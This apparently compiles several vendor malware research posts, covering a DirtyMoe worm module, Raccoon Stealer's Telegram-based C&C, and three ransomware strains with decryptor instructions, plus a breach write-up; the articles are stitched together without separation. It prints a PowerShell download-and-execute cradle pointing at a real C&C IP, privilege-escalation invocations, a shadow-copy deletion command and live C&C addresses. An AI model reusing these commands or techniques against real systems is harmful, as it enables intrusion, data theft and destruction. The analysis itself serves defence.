The last payload is more sophisticated since it targets the vulnerabilities and exploits mentioned above. Firstly, the worming module prepares a @[email protected] placeholder containing a full URL to the DirtyMoe object that is the adapted version of the Tater PowerShell script.
The first stage of the payload is a powershell command: powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(''@[email protected]''); MsiMake @[email protected]"
The adapted Tater script implements the extended MsiMake function. The script attempts to install DirtyMoe using three different ways:
Install DirtyMoe via the MsiMake implementation captured in Figure 8.
Attempt to exploit the system using Invoke-ReflectivePEInjection with the following arguments: Invoke-ReflectivePEInjection -PEBytes $Bytes -ExeArgs [email protected]@ -ForceASLR where $Bytes is the implementation of CVE-2019-1458 that is included in the script.
The last way is installation via the Tater command: Invoke-Tater -Command [email protected]@
The example of Payload 3 is: powershell -nop -exec bypass -c "IEX (New-ObjectNet. WebClient).DownloadString( 'http://108.61.184.105:20114/57BC9B7E.Png'); MsiMake http://108.61.184.105:20114/0CFA042F.Png
Payload 4
The attackers use .NET to provide a run-time environment that executes an arbitrary command under the MS SQL environment. The worming module defines a new assembly .NET procedure using Common Language Runtime (CLR), as Figure 10 demonstrates.
Figure 10. Payload 4 is defined as .Net Assembly
The .NET code of Payload 4 is a simple class defining a SQL procedure ExecCommand that runs a malicious command using the Process class; shown in Figure 11.
Figure 11. .Net code executing malicious commands
5.5 Development Module
We have discovered one worming module containing artifacts that indicate that the module is in development. This module does not appear to be widespread in the wild, and it may give insight into the malware authors’ future intentions. The module contains many hard-coded sections in different states of development; some sections do not hint at the @[email protected] execution.
The module uses the exact implementation published at [7]; see Figure 12. In short, a CGI script that verifies the ability of call_user_func_array is sent. If the verification is passed, the CGI script is re-sent with @[email protected].
Figure 12. CVE:2019-9082: ThinkPHP
Deserialization
CVE:2018-0147: Deserialization Vulnerability
The current module implementation executes a malicious Java class [8], shown in Figure 13, on an attacked server. The RunCheckConfig class is an executioner for accepted connections that include a malicious serializable object.
Figure 13. Java class RunCheckConfig executing arbitrary commands
The module prepares the serializable object illustrated in Figure 14 that the RunCheckConfig class runs when the server accepts this object through the HTTP POST method.
The implementation that delivers the RunCheckConfig class into the attacked server abused the same vulnerability. It prepares a serializable object executing ObjectOutputStream, which writes the RunCheckConfig class into c:/windows/tmp. However, this implementation is not included in this module, so we assume that this module is still in development.
Oracle Weblogic Server
CVE:2019-2725: Oracle Weblogic Server - 'AsyncResponseService' Deserialization RCE
The module again exploits vulnerabilities published at [9] to send malicious SOAP payloads without any authentication to the Oracle Weblogic Server T3 interface, followed by sending additional SOAP payloads to the WLS AsyncResponseService interface.
SOAP The SOAP request defines the WorkContext as java.lang.Runtime with three arguments. The first argument defines which executable should be run. The following arguments determine parameters for the executable. An example of the WorkContext is shown in Figure 15.
Figure 15. SOAP request for Oracle Weblogic Server
Hardcoded SOAP commands are not related to @[email protected]; we assume that this implementation is also in development.
6. Worming Module Execution
The worming module is managed by the DirtyMoe service, which controls its configuration, initialization, and worming execution. This section describes the lifecycle of the worming module.
6.1 Configuration
The DirtyMoe service contacts one of the C&C servers and downloads an appropriate worming module into a Shim Database (SDB) file located at %windir%\apppatch\TK<volume-id>MS.sdb. The worming module is then decrypted and injected into a new svchost.exe process, as Figure 2 illustrates.
The encrypted module is a PE executable that contains additional placeholders. The DirtyMoe service passes configuration parameters to the module via these placeholders. This approach is identical to other DirtyMoe modules; however, some of the placeholders are not used in the case of the worming module.
When the worming module, represented by the new process, is injected and resumed by the DirtyMoe service, the module initialization is invoked. Firstly, the module unpacks a word dictionary containing passwords for a dictionary attack. The dictionary consists of 100,000 commonly used passwords compressed using LZMA. Secondly, internal structures are established as follows:
IP Address Backlog The module stores discovered IP addresses with open ports of interest. It saves the IP address and the timestamp of the last port check.
Dayspan and Hourspan Lists These lists manage IP addresses and their insertion timestamps used for the dictionary attack. The IP addresses are picked up based on a threshold value defined in the configuration. The IP will be processed if the IP address timestamp surpasses the threshold value of the day or hour span. If, for example, the threshold is set to 1, then if a day/hour span of the current date and a timestamp is greater than 1, a corresponding IP will be processed. The Dayspan list registers IPs generated by Class B from IP Table, Fully Random IP, and Derived Classes A methods; in other words, IPs that are further away from the worming module location. On the other hand, the Hourspan list records IPs located closer.
Thirdly, the module reads its configuration described by the @[email protected] placeholder. The configuration matches this pattern: <IP>|<PNG_ID>|<timeout>|[SMB:HX:PX1.X2.X3:AX:RX:BX:CX:DX:NX:SMB]
IP is the number representing the machine IP from which the attack will be carried out. The IP is input for the methods generating IPs; see Section 4. If the IP is not available, the default address 98.126.89.1 is used.
PNG_ID is the number used to derive the hash-name that mirrors the DirtyMoe object name (MSI installer package) stored at C&C. The hashname is generated using MS_RPC_<n> string where n is PNG_ID; see Section 3.
Timeout is the default timeout for connections to the attacked services in seconds.
HX is a threshold for comparing IP timestamps stored in the Dayspan and Hourspan lists. The comparison ascertains whether an IP address will be processed if the timestamp of the IP address exceeds the day/hour threshold.
P is the flag for the dictionary attack.
X1 number determines how many initial passwords will be used from the password dictionary to increase the probability of success – the dictionary contains the most used passwords at the beginning.
X2 number is used for the second stage of the dictionary attack if the first X1 passwords are unsuccessful. Then the worming module tries to select X2 passwords from the dictionary randomly.
X3 number defines how many threads will process the Dayspan and Hourspan lists; more precisely, how many threads will attack the registered IP addresses in the Dayspan/Hourspan lists.
AX: how many threads will generate IP addresses using Class B from IP Table methods.
The typical configuration can be 217.xxx.xxx.xxx|5|2|[SMB:H1:P1.30.3:A10:R3:B3:C3:D1:N3:SMB]
Finally, the worming module starts all threads defined by the configuration, and the worming process and attacks are started.
6.3 Worming
The worming process has five phases run, more or less, in parallel. Figure 16 has an animation of the worming process.
Figure 16. Worming module workflow
Phase 1
The worming module usually starts 23 threads generating IP addresses based on Section 4. The IP addresses are classified into two groups: day-span and hour-span.
Phase 2
The second phase runs in parallel with the first; its goal is to test generated IPs. Each specific module targets defined ports that are verified via sending a zero-length transport datagram. If the port is active and ready to receive data, the IP address of the active port is added to IP Address Backlog. Additionally, the SMB worming module immediately tries the EternalBlue attack within the port scan.
Phase 3
The IP addresses verified in Phase 2 are also registered into the Dayspan and Hourspan lists. The module keeps only 100 items (IP addresses), and the lists are implemented as a queue. Therefore, some IPs can be removed from these lists if the IP address generation is too fast or the dictionary attacks are too slow. However, the removed addresses are still present in the IP Address Backlog.
Phase 4
The threads created based on the X3 configuration parameters process and manage the items (IPs) of Dayspan and Hourspan lists. Each thread picks up an item from the corresponding list, and if the defined day/hour threshold (HX parameter) is exceeded, the module starts the dictionary attack to the picked-up IP address.
Phase 5
Each generated and verified IP is associated with a timestamp of creation. The last phase is activated if the previous timestamp is older than 10 minutes, i.e., if the IP generation is suspended for any reason and no new IPs come in 10 minutes. Then one dedicated thread extracts IPs from the backlog and processes these IPs from the beginning; These IPs are processed as per Phase 2, and the whole worming process continues.
6.4 Dictionary Attack
The dictionary attack targets two administrator user names, namely administrator for SMB services and sa for MS SQL servers. If the attack is successful, the worming module infiltrates a targeted system utilizing an attack series composed of techniques described in Section 5:
Service Control Manager Remote Protocol (SCMR)
Windows Management Instrumentation (WMI)
Microsoft SQL Server (SQL)
The first attack attempt is sent with an empty password. The module then addresses three states based on the attack response as follows:
No connection: the connection was not established, although a targeted port is open – a targeted service is not available on this port.
Unsuccessful: the targeted service/system is available, but authentication failed due to an incorrect username or password.
Success: the targeted service/system uses the empty password.
Administrator account has an empty password
If the administrator account is not protected, the whole worming process occurs quickly (this is the best possible outcome from the attacker’s point of view). The worming module then proceeds to infiltrate the targeted system with the attack series (SCMR, WMI, SQL) by sending the empty password.
Bad username or authentication information
A more complex situation occurs if the targeted services are active, and it is necessary to attack the system by applying the password dictionary.
Cleverly, the module stores all previously successful passwords in the system registry; the first phase of the dictionary attack iterates through all stored passwords and uses these to attack the targeted system. Then, the attack series (SCMR, WMI, SQL) is started if the password is successfully guessed.
The second phase occurs if the stored registry passwords yield no success. The module then attempts authentication using a defined number of initial passwords from the password dictionary. This number is specified by the X1 configuration parameters (usually X1*100). If this phase is successful, the guessed password is stored in the system registry, and the attack series is initiated.
The final phase follows if the second phase is not successful. The module randomly chooses a password from a dictionary subset X2*100 times. The subset is defined as the original dictionary minus the first X1*100 items. In case of success, the attack series is invoked, and the password is added to the system registry.
Successfully used passwords are stored encrypted, in the following system registry location: HKEY_LOCAL_MACHINE\Software\Microsoft\DirectPlay8\Direct3D\RegRunInfo-BarkIPsInfo
7. Summary and Discussion
Modules
We have detected three versions of the DirtyMoe worming module in use. Two versions specifically focus on the SMB service and MS SQL servers. However, the third contains several artifacts implying other attack vectors targeting PHP, Java Deserialization, and Oracle Weblogic Server. We continue to monitor and track these activities.
Attacked Machines
One interesting finding is an attack adaptation based on the geological location of the worming module. Methods described in Section 4 try to distribute the generated IP addresses evenly to cover the largest possible radius. This is achieved using the IP address of the worming module itself since half of the threads generating the victim’s IPs are based on the module IP address. Otherwise, if the IP is not available for some reason, the IP address 98.126.89.1 located in Los Angeles is used as the base address.
We performed a few VPN experiments for the following locations: the United States, Russian Federation, Czech Republic, and Taiwan. The results are animated in Figure 17; Table 1 records the attack distributions for each tested VPN.
VPN
Attack Distribution
Top countries
United States
North America (59%) Europe (21%) Asia (16%)
United States
Russian Federation
North America (41%) Europe (33%) Asia (20%)
United States, Iran, United Kingdom, France, Russian Federation
Czech Republic
Europe (56%) Asia (14%) South America (11%)
China, Brazil, Egypt, United States, Germany
Taiwan
North America (47%) Europe (22%) Asia (18%)
United States, United Kingdom, Japan, Brazil, Turkey
Table 1. VPN attack distributions and top countries
Figure 17. VPN attack distributions
LAN
Perhaps the most striking discovery was the observed lateral movement in local networks. The module keeps all successfully guessed passwords in the system registry; these saved passwords increase the probability of password guessing in local networks, particularly in home and small business networks. Therefore, if machines in a local network use the same weak passwords that can be easily assessed, the module can quickly infiltrate the local network.
Exploits
All abused exploits are from publicly available resources. We have identified six main vulnerabilities summarized in Table 2. The worming module adopts the exact implementation of EternalBlue, ThinkPHP, and Oracle Weblogic Server exploits from exploit-db. In the same way, the module applies and modifies implementations of DoublePulsar, Tater, and PowerSploit frameworks.
ID
Description
CVE:2019-9082
ThinkPHP – Multiple PHP Injection RCEs
CVE:2019-2725
Oracle Weblogic Server – ‘AsyncResponseService’ Deserialization RCE
CVE:2019-1458
WizardOpium Local Privilege Escalation
CVE:2018-0147
Deserialization Vulnerability
CVE:2017-0144
EternalBlue SMB Remote Code Execution (MS17-010)
MS15-076
RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)
Table 2. Used exploits
C&C Servers
The C&C servers determine which module will be deployed on a victim machine. The mechanism of the worming module selection depends on client information additionally sent to the C&C servers. However, details of how this module selection works remain to be discovered.
Password Dictionary
The password dictionary is a collection of the most commonly used passwords obtained from the internet. The dictionary size is 100,000 words and numbers across several topics and languages. There are several language mutations for the top world languages, e.g., English, Spanish, Portuguese, German, French, etc. (passwort, heslo, haslo, lozinka, parool, wachtwoord, jelszo, contrasena, motdepasse). Other topics are cars (volkswagen, fiat, hyundai, bugatti, ford) and art (davinci, vermeer, munch, michelangelo, vangogh). The dictionary also includes dirty words and some curious names of historical personalities like hitler, stalin, lenin, hussein, churchill, putin, etc.
The dictionary is used for SCMR, WMI, and SQL attacks. However, the SQL module hard-codes another 15 pairs of usernames/passwords also collected from the internet. The SQL passwords usually are default passwords of the most well-known systems.
Worming Workflow
The modules also implement a technique for repeated attacks on machines with ‘live’ targeted ports, even when the first attack was unsuccessful. The attacks can be scheduled hourly or daily based on the worm configuration. This approach can prevent a firewall from blocking an attacking machine and reduce the risk of detection.
Another essential attribute is the closing of TCP port 445 port following a successful exploit of a targeted system. This way, compromised machines are “protected” from other malware that abuse the same vulnerabilities. The MSI installer also includes a mechanism to prevent overwriting DirtyMoe by itself so that the configuration and already downloaded modules are preserved.
IP Generation Performance
The primary key to this worm’s success is the performance of the IP generator. We have used empirical measurement to determine the performance of the worming module. This measurement indicates that one module instance can generate and attack 1,500 IPs per second on average. However, one of the tested instances could generate up to 6,000 IPs/sec, so one instance can try two million IPs per day.
The evidence suggests that approximately 1,900 instances can generate the whole IPv4 range in one day; our detections estimate more than 7,000 active instances exist in the wild. In theory, the effect is that DirtyMoe can generate and potentially target the entire IPv4 range three times a day.
8. Conclusion
The primary goal of this research was to analyze one of the DirtyMoe module groups, which provides the spreading of the DirtyMoe malware using worming techniques. The second aim of this study was to investigate the effects of worming and investigate which exploits are in use.
In most cases, DirtyMoe is deployed using external exploit kits like PurpleFox or injected installers of Telegram Messenger that require user interaction to successful infiltration. Importantly, worming is controlled by C&C and executed by active DirtyMoe instances, so user interaction is not required.
Worming target IPs are generated utilizing the cleverly designed algorithm that evenly generates IP addresses across the world and in relation to the geological location of the worming module. Moreover, the module targets local/home networks. Because of this, public IPs and even private networks behind firewalls are at risk.
Victims’ active machines are attacked using EternalBlue exploits and dictionary attacks aimed at SCMR, WMI, and MS SQL services with weak passwords. Additionally, we have detected a total of six vulnerabilities abused by the worming module that implement publicly disclosed exploits.
We also discovered one worming module in development containing other vulnerability exploit implementations – it did not appear to be fully armed for deployment. However, there is a chance that tested exploits are already implemented and are spreading in the wild.
Based on the amount of active DirtyMoe instances, it can be argued that worming can threaten hundreds of thousands of computers per day. Furthermore, new vulnerabilities, such as Log4j, provide a tremendous and powerful opportunity to implement a new worming module. With this in mind, our researchers continue to monitor the worming activities and hunt for other worming modules.
IOCs
CVE-2019-1458: “WizardOpium’ Local Privilege Escalation fef7b5df28973ecf8e8ceffa8777498a36f3a7ca1b4720b23d0df18c53628c40
We recently came across a stealer, called Raccoon Stealer, a name given to it by its author. Raccoon Stealer uses the Telegram infrastructure to store and update actual C&C addresses.
Raccoon Stealer is a password stealer capable of stealing not just passwords, but various types of data, including:
Cookies, saved logins and forms data from browsers
Login credentials from email clients and messengers
Files from crypto wallets
Data from browser plugins and extension
Arbitrary files based on commands from C&C
In addition, it’s able to download and execute arbitrary files by command from its C&C. In combination with active development and promotion on underground forums, Raccoon Stealer is prevalent and dangerous.
The oldest samples of Raccoon Stealer we’ve seen have timestamps from the end of April 2019. Its authors have stated the same month as the start of selling the malware on underground forums. Since then, it has been updated many times. According to its authors, they fixed bugs, added features, and more.
Distribution
We’ve seen Raccoon distributed via downloaders: Buer Loader and GCleaner. According to some samples, we believe it is also being distributed in the form of fake game cheats, patches for cracked software (including hacks and mods for Fortnite, Valorant, and NBA2K22), or other software. Taking into account that Raccoon Stealer is for sale, it’s distribution techniques are limited only by the imagination of the end buyers. Some samples are spread unpacked, while some are protected using Themida or malware packers. Worth noting is that some samples were packed more than five times in a row with the same packer!
Technical details
Raccoon Stealer is written in C/C++ and built using Visual Studio. Samples have a size of about 580-600 kB. The code quality is below average, some strings are encrypted, some are not.
Once executed, Racoon Stealer starts checking for the default user locale set on the infected device and won’t work if it’s one of the following:
Russian
Ukrainian
Belarusian
Kazakh
Kyrgyz
Armenian
Tajik
Uzbek
C&C communications
The most interesting thing about this stealer is its communication with C&Cs. There are four values crucial for its C&C communication, which are hardcoded in every Raccoon Stealer sample:
MAIN_KEY. This value has been changed four times during the year.
URLs of Telegram gates with channel name. Gates are used not to implement a complicated Telegram protocol and not to store any credentials inside samples
BotID – hexadecimal string, sent to the C&C every time
TELEGRAM_KEY – a key to decrypt the C&C address obtained from Telegram Gate
Let’s look at an example to see how it works: 447c03cc63a420c07875132d35ef027adec98e7bd446cf4f7c9d45b6af40ea2b unpacked to: f1cfcce14739887cc7c082d44316e955841e4559ba62415e1d2c9ed57d0c6232:
First of all, MAIN_KEY is decrypted. See the decryption code in the image below:
In this example, the MAIN_KEY is jY1aN3zZ2j. This key is used to decrypt Telegram Gates URLs and BotID.
This example decodes and decrypts Telegram Gate URLs. It is stored in the sample as: Rf66cjXWSDBo1vlrnxFnlmWs5Hi29V1kU8o8g8VtcKby7dXlgh1EIweq4Q9e3PZJl3bZKVJok2GgpA90j35LVd34QAiXtpeV2UZQS5VrcO7UWo0E1JOzwI0Zqrdk9jzEGQIEzdvSl5HWSzlFRuIjBmOLmgH/V84PCRFevc40ZuTAZUq+q1JywL+G/1xzXQdYZiKWea8ODgaN+4B8cT3AqbHmY5+6MHEBWTqTsITPAxKdPMu3dC9nwdBF3nlvmX4/q/gSPflYF7aIU1wFhZxViWq2 After decoding Base64 it has this form:
Decrypting this binary data with RC4 using MAIN_KEY gives us a string with Telegram Gates:
The stealer has to get it’s real C&C. To do so, it requests a Telegram Gate, which returns an HTML-page:
Here you can see a Telegram channel name and its status in Base64: e74b2mD/ry6GYdwNuXl10SYoVBR7/tFgp2f-v32 The prefix (always five characters) and postfix (always six characters) are removed and it becomes mD/ry6GYdwNuXl10SYoVBR7/tFgp The Base64 is then decoded to obtain an encrypted C&C URL:
The TELEGRAM_KEY in this sample is a string 739b4887457d3ffa7b811ce0d03315ce and the Raccoon uses it as a key to RC4 algorithm to finally decrypt the C&C URL: http://91.219.236[.]18/
Raccoon makes a query string with PC information (machine GUID and user name), and BotID
Query string is encrypted with RC4 using a MAIN_KEY and then encoded with Base64.
This data is sent using POST to the C&C, and the response is encoded with Base64 and encrypted with the MAIN_KEY. Actually, it’s a JSON with a lot of parameters and it looks like this:
Thus, the Telegram infrastructure is used to store and update actual C&C addresses. It looks quite convenient and reliable until Telegram decides to take action.
Analysis
The people behind Raccoon Stealer
Based on our analysis of seller messages on underground forums, we can deduce some information about the people behind the malware. Raccoon Stealer was developed by a team, some (or maybe all) members of the team are Russian native speakers. Messages on the forum are written in Russian, and we assume they are from former USSR countries because they try to prevent the Stealer from targeting users in these countries.
Possible names/nicknames of group members may be supposed based on the analysis of artifacts, found in samples:
C:\Users\a13xuiop1337\
C:\Users\David\
Prevalence
Raccoon Stealer is quite prevalent: from March 3, 2021 - February 17, 2022 our systems detected more than 25,000 Raccoon-related samples. We identified more than 1,300 distinct configs during that period.
Here is a map, showing the number of systems Avast protected from Raccoon Stealer from March 3, 2021 - February 17, 2022. In this time frame, Avast protected nearly 600,000 Raccoon Stealer attacks.
The country where we have blocked the most attempts is Russia, which is interesting because the actors behind the malware don’t want to infect computers in Russia or Central Asia. We believe the attacks spray and pray, distributing the malware around the world. It’s not until it makes it onto a system that it begins checking for the default locale. If it is one of the language listed above, it won’t run. This explains why we detected so many attack attempts in Russia, we block the malware before it can run, ie. before it can even get to the stage where it checks for the device’s locale. If an unprotected device that comes across the malware with its locale set to English or any other language that is not on the exception list but is in Russia, it would stiIl become infected.
Screenshot with claims about not working with CIS
Telegram Channels
From the more than 1,300 distinct configs we extracted, 429 of them are unique Telegram channels. Some of them were used only in a single config, others were used dozens of times. The most used channels were:
jdiamond13 – 122 times
jjbadb0y – 44 times
nixsmasterbaks2 – 31 times
hellobyegain – 25 times
h_smurf1kman_1 – 24 times
Thus, five of the most used channels were found in about 19% of configs.
Malware distributed by Raccoon
As was previously mentioned, Raccoon Stealer is able to download and execute arbitrary files from a command from C&C. We managed to collect some of these files. We collected 185 files, with a total size 265 Mb, and some of the groups are:
Downloaders – used to download and execute other files
Clipboard crypto stealers – change crypto wallet addresses in the clipboard – very popular (more than 10%)
WhiteBlackCrypt Ransomware
Servers used to download this software
We extracted unique links to other malware from Raccoon configs received from C&Cs, it was 196 unique URLs. Some analysis results:
43% of URLs have HTTP scheme, 57% – HTTPS.
83 domain names were used.
About 20% of malware were placed on Discord CDN
About 10% were served from aun3xk17k[.]space
Conclusion
We will continue to monitor Raccoon Stealer’s activity, keeping an eye on new C&Cs, Telegram channels, and downloaded samples. We predict it may be used wider by other cybercrime groups. We assume the group behind Raccoon Stealer will further develop new features, including new software to steal data from, for example, as well as bypass protection this software has in place.
Avast Releases Decryptor for the Prometheus Ransomware. Prometheus is a ransomware strain written in C# that inherited a lot of code from an older strain called Thanos.
Prometheus tries to thwart malware analysis by killing various processes like packet sniffing, debugging or tools for inspecting PE files. Then, it generates a random password that is used during the Salsa20 encryption.
Prometheus looks for available local drives to encrypt files that have one of the following extensions:
db dbf accdb dbx mdb mdf epf ndf ldf 1cd sdf nsf fp7 cat log dat txt jpeg gif jpg png php cs cpp rar zip html htm xlsx xls avi mp4 ppt doc docx sxi sxw odt hwp tar bz2 mkv eml msg ost pst edb sql odb myd php java cpp pas asm key pfx pem p12 csr gpg aes vsd odg raw nef svg psd vmx vmdk vdi lay6 sqlite3 sqlitedb java class mpeg djvu tiff backup pdf cert docm xlsm dwg bak qbw nd tlg lgb pptx mov xdw ods wav mp3 aiff flac m4a csv sql ora dtsx rdl dim mrimg qbb rtf 7z
Encrypted files are given a new extension .[ID-<PC-ID>].unlock. After the encryption process is completed, Notepad is executed with a ransom note from the file UNLOCK_FILES_INFO.txt informing victims on how to pay the ransom if they want to decrypt their files.
How to use the Avast decryptor to decrypt files encrypted by Prometheus Ransomware
Run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
On the initial page, you can read the license information, if you want, but you really only need to click “Next”.
On the next page, select the list of locations you want to be searched and decrypted. By default, it contains a list of all local drives:
On the third page, you need to provide a file in its original form and encrypted by the Prometheus ransomware. Enter both names of the files. In case you have an encryption password created by a previous run of the decryptor, you can select the “I know the password for decrypting files” option:
The next page is where the password cracking process takes place. Click “Start” when you are ready to start the process. During the password cracking process, all your available processor cores will spend most of their computing power to find the decryption password. The cracking process may take a large amount of time, up to tens of hours. The decryptor periodically saves the progress and if you interrupt it and restart the decryptor later, it offers you the option to resume the previously started cracking process. Password cracking is only needed once per PC – no need to do it again for each file.
When the password is found, you can proceed to decrypt all encrypted files on your PC by clicking “Next”.
On the final page, you can opt-in to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes decrypting all of your files.
On February 24th, the Avast Threat Labs discovered a new ransomware strain accompanying the data wiper HermeticWiper malware, which our colleagues at ESET found circulating in the Ukraine. Following this naming convention, we opted to name the strain we found piggybacking on the wiper, HermeticRansom. According to analysis done byCrowdstrike’s Intelligence Team, the ransomware contains a weakness in the crypto schema and can be decrypted for free.
If your device has been infected with HermeticRansom and you’d like to decrypt your files, click here to skip to the How to use the Avast decryptor to recover files
Go!
The ransomware is written in GO language. When executed, it searches local drives and network shares for potentially valuable files, looking for files with one of the extensions listed below (the order is taken from the sample):
In order to keep the victim’s PC operational, the ransomware avoids encrypting files in Program Files and Windows folders.
For every file designated for encryption, the ransomware creates a 32-byte encryption key. Files are encrypted by blocks, each block has 1048576 (0x100000) bytes. A maximum of nine blocks are encrypted. Any data past 9437184 bytes (0x900000) is left in plain text. Each block is encrypted by AES GCM symmetric cipher. After data encryption, the ransomware appends a file tail, containing the RSA-2048 encrypted file key. The public key is stored in the binary as a Base64 encoded string:
When done, a file named “read_me.html” is saved to the user’s Desktop folder:
There is an interesting amount of politically oriented strings in the ransomware binary. In addition to the file extension, referring to the re-election of Joe Biden in 2024, there is also a reference to him in the project name:
During the execution, the ransomware creates a large amount of child processes, that do the actual encryption:
How to use the Avast decryptor to recover files
To decrypt your files, please, follow these steps:
Simply run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
On the initial page, you can read the license information, if you want, but you really only need to click “Next“
On the next page, select the list of locations which you want to be searched and decrypted. By default, it contains a list of all local drives:
On the final wizard page, you can opt-in whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes.
On January 25, 2022, a victim of a ransomware attack reached out to us for help. The extension of the encrypted files and the ransom note indicated the TargetCompany ransomware (not related to Target the store), which can be decrypted under certain circumstances.
Modus Operandi of the TargetCompany Ransomware
When executed, the ransomware does some actions to ease its own malicious work:
Assigns the SeTakeOwnershipPrivilege and SeDebugPrivilege for its process
Deletes special file execution options for tools like vssadmin.exe, wmic.exe, wbadmin.exe, bcdedit.exe, powershell.exe, diskshadow.exe, net.exe and taskkil.exe
Removes shadow copies on all drives using this command: %windir%\sysnative\vssadmin.exe delete shadows /all /quiet
Kills some processes that may hold open valuable files, such as databases:
List of processes killed by the TargetCompany ransomware
MsDtsSrvr.exe
ntdbsmgr.exe
ReportingServecesService.exe
oracle.exe
fdhost.exe
sqlserv.exe
fdlauncher.exe
sqlservr.exe
msmdsrv.exe
sqlwrite
mysql.exe
After these preparations, the ransomware gets the mask of all logical drives in the system using the GetLogicalDrives() Win32 API. Each drive is checked for the drive type by GetDriveType(). If that drive is valid (fixed, removable or network), the encryption of the drive proceeds. First, every drive is populated with the ransom note file (named RECOVERY INFORMATION.txt). When this task is complete, the actual encryption begins.
Exceptions
To keep the infected PC working, TargetCompany avoids encrypting certain folders and file types:
List of folders avoided by the TargetCompany ransomware
msocache
boot
Microsoft Security Client
Microsoft MPI
$windows.~ws
$windows.~bt
Internet Explorer
Windows Kits
system volume information
mozilla
Reference
Microsoft.NET
intel
boot
Assemblies
Windows Mail
appdata
windows.old
Windows Defender
Microsoft Security Client
perflogs
Windows
Microsoft ASP.NET
Package Store
programdata google application data
WindowsPowerShell
Core Runtime
Microsoft Analysis Services
tor browser
Windows NT
Package
Windows Portable Devices
Windows
Store
Windows Photo Viewer
Common Files
Microsoft Help Viewer
Windows Sidebar
List of file types avoided by the TargetCompany ransomware
.386
.cpl
.exe
.key
.msstyles
.rtp
.adv
.cur
.hlp
.lnk
.msu
.scr
.ani
.deskthemepack
.hta
.lock
.nls
.shs
.bat
.diagcfg
.icl
.mod
.nomedia
.spl
.cab
.diagpkg
.icns
.mpa
.ocx
.sys
.cmd
.diangcab
.ico
.msc
.prf
.theme
.com
.dll
.ics
.msi
.ps1
.themepack
.drv
.idx
.msp
.rom
.wpx
The ransomware generates an encryption key for each file (0x28 bytes). This key splits into Chacha20 encryption key (0x20 bytes) and n-once (0x08) bytes. After the file is encrypted, the key is protected by a combination of Curve25519 elliptic curve + AES-128 and appended to the end of the file. The scheme below illustrates the file encryption. Red-marked parts show the values that are saved into the file tail after the file data is encrypted:
The exact structure of the file tail, appended to the end of each encrypted file, is shown as a C-style structure:
Every folder with an encrypted file contains the ransom note file. A copy of the ransom note is also saved into c:\HOW TO RECOVER !!.TXT
The personal ID, mentioned in the file, is the first six bytes of the personal_id, stored in each encrypted file.
How to use the Avast decryptor to recover files
To decrypt your files, please, follow these steps:
Download the free Avast decryptor. Choose a build that corresponds with your Windows installation. The 64-bit version is significantly faster and most of today’s Windows installations are 64-bit.
If you have 64-bit Windows, choose the 64-bit build.
If you have 32-bit Windows, choose the 32-bit build.
Simply run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
On the initial page, you can read the license information, if you want, but you really only need to click “Next”
On the next page, select the list of locations which you want to be searched and decrypted. By default, it contains a list of all local drives:
On the third page, you need to enter the name of a file encrypted by the TargetCompany ransomware. In case you have an encryption password created by a previous run of the decryptor, you can select the “I know the password for decrypting files” option:
The next page is where the password cracking process takes place. Click “Start” when you are ready to start the process. During password cracking, all your available processor cores will spend most of their computing power to find the decryption password. The cracking process may take a large amount of time, up to tens of hours. The decryptor periodically saves the progress and if you interrupt it and restart the decryptor later, it offers you an option to resume the previously started cracking process. Password cracking is only needed once per PC – no need to do it again for each file.
When the password is found, you can proceed to the decryption of files on your PC by clicking “Next”.
On the final wizard page, you can opt-in whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes.
On September 15, 2021 the National Games of China began in the Chinese city of Shaanxi. It is an event similar if not identical to the Olympics, but only hosts athletes from China. Earlier in September, our colleague David Álvarez found a malware sample with a suspicious file extension of a picture and decided to investigate where it came from. Later, he also found a report of the incident from the National Games IT team on VirusTotal stating that the attack occurred before the Games started. Attached to the report were access logs from the web-server and SQL database. By analyzing these logs, we gathered initial information about the attack. These logs only include request path, and sadly do not reveal content of POST requests much needed to fully understand what commands attackers sent to their web shells, but even with this limited information we were able to outline the attack and determine the initial point of intrusion with moderate confidence.
In this posting, we are sharing our own research on the incident, the samples and the exploits used by the attackers, detailing what appears to be a successful breach of systems hosting content for the National Games prior to the event. We based our research on publicly accessible information about the incident. The analyzed samples were already present on VirusTotal.
Based on the initial information from the report and our own findings, it appears the breach was successfully resolved prior to the start of the games. We are unable to detail what actions the attackers may have taken against the broader network. We also are unable to make any conclusive attribution of the attackers, though have reason to believe they are either native Chinese-language speakers or show high fluency in Chinese.
Gaining access
The evidence indicates that the attackers gained initial code execution at around 10:00AM local time on September 3, 2021 and installed their first reverse shell executing scripts calledrunscript.lua. We suspect that the way this happened is via an arbitrary file-read exploit targeting either route.lua which, according to the API (Application User Interface) extracted from various JavaScript files, is a LUA script containing a lot of functionality from handling login authentication to manipulation of files or index.lua in combination with index.lua?a=upload API that was not used by anyone else in the rest of the network log. It’s also worth noting that runscript.lua was not mentioned in the report or included in the attacker uploaded files.
After gaining initial access the attackers uploaded several other reverse shells such as conf.lua, miss1.phpor admin2.php(see table 2 for source code) to gain a more permanent foothold in the network in case one of the shells got discovered. These reverse shells get commands via a POST request, thus the data is not present in the logs attached with the report as they only contain the URL path.
In the screenshot we can see that the attackers were getting a lot of data returned to them from the backdoors (highlighted)
Even more so the logs in the report don’t contain full information about the network traffic such that we could with certainty determine how and when the attackers gained their first web shell. We estimated our findings by looking for a point in time from which they uploaded and interacted with the first custom web shell we can find.
What they did there
The attackers started doing some tests on what they were able to upload to the server. From August 26, 2021 to September 9, 2021 the attackers tried submitting files with different file-types and also file extensions. For instance, they submitted the same legitimate image ( 7775b6a45da80c1a8a0f8e044c34be823693537a0635327b967cc8bff3cb349a) with different file extensions: ico, lua, js, luac, txt, html and rar.
